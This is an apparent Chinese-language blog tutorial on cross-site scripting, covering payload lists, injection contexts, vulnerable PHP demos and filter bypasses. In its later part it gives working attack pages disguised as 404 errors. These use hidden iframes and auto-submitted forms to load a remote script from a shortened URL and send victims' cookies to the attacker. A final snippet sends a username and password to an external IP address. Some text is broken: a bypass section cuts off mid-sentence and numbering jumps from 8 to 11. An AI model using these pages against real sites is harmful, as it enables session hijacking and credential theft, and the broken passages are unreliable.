漏洞之 XSS（Cross Site Scripting，跨站脚本攻击）

1、XSS的原理和分类

跨站脚本攻击 XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。

恶意攻击者往 Web 页面里插入恶意Script代码，当用户浏览该页面时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击！

XSS分为：存储型、反射型、DOM型XSS

存储型XSS：存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，插入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃 cookie
反射型XSS：非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。反射型XSS 大多数是用来盗取用户的 Cookie 信息。
DOM 型XSS：不经过后端，DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞，DOM-XSS 是通过 url 传入参数去控制触发的，其实也属于反射型XSS。

可能触发DOM型XSS的属性
1
2
3
4
5
document.referer window.name location innerHTML documen.write
如图，我们在URL中传入参数的值，然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值，再通过DOM方法赋值给选择列表，该过程没有经过后端，完全是在前端完成的。所以，我们就可以在我们输入的参数上做手脚了。

2、XSS 的攻击载荷

以下所有标签的 > 都可以用 // 代替，例如 <script>alert(1)</script//

<script> 标签：<script> 标签是最直接的 XSS 有效载荷，脚本标记可以引用外部的 JavaScript 代码，也可以将代码插入脚本标记中

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1，对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg 标签

1 2	`<svg onload="alert(1)"> <svg onload="alert(1)"//`

<img> 标签：

1 2	`<img src=1 onerror=alert("hack")> <img src=1 onerror=alert(document.cookie)> #弹出cookie`

<body> 标签：

1 2	`<body onload=alert(1)> <body onpageshow=alert(1)>`

video 标签:

1	`<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />`

style 标签：

1	`<style onload=alert(1)></style>`

3、XSS 可以插在哪里

用户输入作为 script 标签内容
用户输入作为 HTML 注释内容
用户输入作为 HTML 标签的属性名
用户输入作为 HTML 标签的属性值
用户输入作为 HTML 标签的名字
直接插入到 CSS 里
最重要的是，千万不要引入任何不可信的第三方 JavaScript 到页面里！

#用户输入作为HTML注释内容，导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
 
#用户输入作为标签属性名，导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
 
#用户输入作为标签属性值，导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
 
#用户输入作为标签名，导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />
 
#用户输入作为CSS内容，导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

4、XSS 漏洞的挖掘

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方，比如下面这些：

URL的每一个参数
URL本身
表单
搜索框

常见业务场景

重灾区：评论区、留言区、个人信息、订单信息等
针对型：站内信、网页即时通讯、私信、意见反馈
存在风险：搜索框、当前目录、图片属性等

白盒测试(代码审计)

关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP 中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等，可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪，看看有没有输出到页面中，然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似 echo 这样的输出语句，跟踪输出的变量是从哪里来的，我们是否能控制，如果从数据库中取的，是否能控制存到数据库中的数据，存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用，我们就需要审计这些公共函数看有没有过滤，能否绕过等等。

同理审计 DOM 型注入可以搜索一些 js 操作 DOM 元素的关键词进行审计。

5、XSS 的攻击过程

反射型XSS漏洞：

Alice 经常浏览某个网站，此网站为 Bob 所拥有。Bob 的站点需要 Alice 使用用户名/密码进行登录，并存储了 Alice 敏感信息(比如银行帐户信息)。
Tom 发现 Bob 的站点存在反射性的 XSS漏洞
Tom 利用 Bob 网站的反射型 XSS漏洞编写了一个exp，做成链接的形式，并利用各种手段诱使Alice点击
Alice 在登录到 Bob 的站点后，浏览了 Tom 提供的恶意链接
嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。
Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点，如果脚本的功更强大的话，Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制。

存储型XSS漏洞：

Bob 拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。
Tom 检测到 Bob 的站点存在存储型的XSS漏洞。
Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息，该热点信息存储在了 Bob 的服务器的数据库中，然后吸引其它用户来阅读该热点信息。
Bob 或者是任何的其他人如 Alice 浏览该信息之后,Tom 的恶意脚本就会执行。
Tom 的恶意脚本执行后，Tom 就可以对浏览器该页面的用户发动一起XSS攻击

6、XSS漏洞的危害

从以上我们可以知道，存储型的XSS危害最大。因为他存储在服务器端，所以不需要我们和被攻击者有任何接触，只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL，需要我们和用户有直接或者间接的接触，比如利用社会工程学或者利用在其他网页挂马的方式。

那么，利用XSS漏洞可以干什么呢？

劫持用户会话：通过XSS攻击，攻击者可以访问受害者的用户会话，从而获取用户的登录凭据或其他敏感信息。
修改网页内容：XSS攻击可以用来修改网页内容，从而欺骗受害者。
破坏网站结构：XSS攻击可以用来破坏网站结构，从而影响网站的正常运行。
获取用户数据：XSS攻击可以用来获取用户的敏感信息，比如用户的个人信息、财务信息等。
执行恶意脚本：XSS攻击可以用来执行恶意脚本，从而对网站进行攻击或进行其他恶意活动。
传播蠕虫：XSS攻击可以用来传播蠕虫，从而在受害者网络中传播恶意程序。
劫持浏览器：XSS攻击可以用来劫持浏览器，从而控制用户的浏览习惯。
弹出恶意广告：XSS攻击可以用来弹出恶意广告，从而影响用户的正常使用。
注入恶意代码：XSS攻击可以用来注入恶意代码，从而影响网站的正常运行。
操纵搜索结果：XSS攻击可以用来操纵搜索结果，从而让受害者访问攻击者想要让他们访问的网站。
传播木马程序：XSS攻击可以用来传播木马程序，从而攻击网站或窃取用户信息。
劫持网站：XSS攻击可以用来劫持网站，从而控制网站的内容和功能。

7、XSS漏洞的简单攻击测试

反射型XSS：

先放出源代码

//前端 1.html：
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>反射型XSS</title>
</head>
<body>
  <form action="action.php" method="post">
    <input type="text" name="name" />
    <input type="submit" value="提交">
  </form>
</body>
</html>
 
//后端 action.php：
<?php
  $name=$_POST["name"]; 
  echo $name;
?>

这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理

所以，我们可以在输入框中提交数据：<script>alert('hack')</script>，看看会有什么反应

页面直接弹出了hack的页面，可以看到，我们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞，这种漏洞数据流向是：前端–>后端–>前端

存储型XSS：

先给出源代码

//前端：2.html
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>存储型XSS</title>
</head>
<body>
  <form action="action2.php" method="post">
    输入你的ID：<input type="text" name="id" /> <br/>
    输入你的Name：<input type="text" name="name" /> <br/>
    <input type="submit" value="提交">
  </form>
</body>
</html>
//后端：action2.php
<?php
  $id=$_POST["id"];
  $name=$_POST["name"];
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  
  $sql="insert into xss value ($id,'$name')";
  $result=mysql_query($sql);
?>
//供其他用户访问页面：show2.php
<?php
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  $sql="select * from xss where id=1";
  $result=mysql_query($sql);
  while($row=mysql_fetch_array($result)){
    echo $row['name'];
  }
?>

这里有一个用户提交的页面，数据提交给后端之后，后端存储在数据库中。然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS代码就被执行了。

我们输入 1 和 <script>alert(\'hack\')</script>，注意，这里的 hack 的单引号要进行转义，因为 sql 语句中的 $name 是单引号的，所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后，我们看看数据库

可以看到，我们的XSS语句已经插入到数据库中了。然后当其他用户访问 show2.php 页面时，我们插入的XSS代码就执行了。

存储型XSS的数据流向是：前端-->后端-->数据库-->后端-->前端

DOM 型XSS：

先放上源代码

// 前端3.html
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>DOM型XSS</title>
</head>
<body>
  <form action="action3.php" method="post">
    <input type="text" name="name" />
    <input type="submit" value="提交">
  </form>
</body>
</html>
// 后端action3.php
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;  // 获取 text的值，并且输出在print内。这里是导致xss的主要原因。
</script>

这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理

我们可以输入 <img src=1 onerror=alert('hack')>，然后看看页面的变化

页面直接弹出了 hack 的页面，可以看到，我们插入的语句已经被页面给执行了。

这就是 DOM型XSS漏洞，这种漏洞数据流向是：前端-->浏览器

8、XSS的简单过滤和绕过

在面对 SQL 注入的时候，我们可以利用一些函数（如：preg_replace()），将组成sql语句的一些字符给过滤，以防止注入。那么，我们也可以用一些函数将构成 xss 代码的一些关键字符给过滤了。可是，道高一尺魔高一丈，虽然过滤了，但是还是可以进行过滤绕过，以达到XSS攻击的目的。

8.1、区分大小写过滤标签

先放上源代码

//前端 1.html：
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>反射型XSS</title>
</head>
<body>
  <form action="action4.php" method="post">
    <input type="text" name="name" />
    <input type="submit" value="提交">
  </form>
</body>
</html>
 
//后端 action4.php：
<?php
$name=$_POST["name"]; 
if($name!=null){
  $name=preg_replace("/<script>/","",$name);      //过滤<script>
  $name=preg_replace("/<\/script>/","",$name);   //过滤</script>
  echo $name; 
}
?>

绕过技巧：可以使用大小写绕过 <scripT>alert('hack')</scripT>

8.2、不区分大小写过滤标签

先放上源代码

1 2	`$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script> $name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>`

绕过技巧：可以使用嵌套的script标签绕过<scr<script>ipt>alert('hack')</scr</script>ipt>

8.3、不区分大小写，过滤之间的所有内容

先放上源代码

这个和上面的代码一模一样，只不过是过滤的时候过滤条件发生了变化

1	`$name = preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容`

虽然无法使用

那么，我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢？

我们构造了如下代码，将其保存为html页面，然后放到我们自己的服务器上，做成一个链接。当用户登录了存在漏洞的网站，并且用户点击了我们构造的恶意链接时，该链接页面会偷偷打开iframe框架，iframe会访问其中的链接，然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上，但是用户却浑然不知，他会发现打开的是一个404的页面！

1	`<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>`

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <title>404 页面不存在 </title>
  <style type="text/css">
    body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
    .error-page{background:#f0f1f3;padding:80px 0 180px}
    .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
    .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
    .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
  <div class="error-page-container">
    <div class="error-page-main">
      <h3>
        <strong>404</strong>很抱歉，您要访问的页面不存在！
      </h3> 
    </div>
  </div>
</div>
</body>
</html>

而我们的XSS平台将得到用户的Cookie，然后我们就可以利用得到的Cookie以用户的身份访问该网站了。

注：我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置，并且会话Cookie没有设置Http Only属性

post型

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们构造了如下代码，将其保存为html页面，然后放到我们自己的服务器上，做成一个链接。当用户登录了存在漏洞的网站，并且用户点击了我们构造的恶意链接时，该恶意链接的页面加载完后会执行js代码，完成表单的提交，表单的用户名参数是我们的恶意js代码。提交完该表单后，该js代码会把存在漏洞网站的cookie发送到我们的平台上，但是用户却浑然不知，他会发现打开的是一个404的页面。

我们这里写了一个404页面，404页面中隐藏了一个form提交的表单，为了防止提交表单后跳转，我们在表单下加了一个iframe框架，并且iframe框架的name等于form表单的target，并且我们设置iframe框架为不可见。

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <title>404 页面不存在 </title>
  <style type="text/css">
    body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
    .error-page{background:#f0f1f3;padding:80px 0 180px}
    .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
    .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
    .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
  function attack() {
    document.getElementById("transfer").submit();
  }
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
  <div class="error-page-container">
    <div class="error-page-main">
      <h3>
        <strong>404</strong>很抱歉，您要访问的页面不存在！
      </h3>
    </div>
  </div>
  <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
    <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
    <input type="hidden" name="password" value="1">
  </form>
  <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>

当用户点击了我们构造的恶意链接，发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交。而我们的XSS平台也收到了发送来的数据。

11、利用JS将用户信息发送给后台

<!DOCTYPE html>
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title></title>
  <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
  <script>
    $(function(){
      //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
      user="admin";
      pass="root";
      url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
      var frame=$("<iframe>");
      frame.attr("src",url);
      frame.attr("style","display:none");
      $("#body").append(frame);      //添加一个iframe框架，并设置不显示。这个框架会偷偷访问该链接。
    });
</script>
</head>
<body id="body">
  <h3>hello,word!</h3>
</body>
</html>

当用户访问了该页面，我们后台就可以看到用户访问记录。

security

#security

漏洞之 XSS（Cross Site Scripting，跨站脚本攻击）

https://flepeng.github.io/081-security-漏洞-漏洞之-XSS（Cross-Site-Scripting，跨站脚本攻击）/

作者

Lepeng

发布于

2021年3月8日

许可协议

漏洞之 SSRF（Server-Side Request Forgery，服务器端请求伪造）上一篇

漏洞之 reverse shell (反弹 shell) 下一篇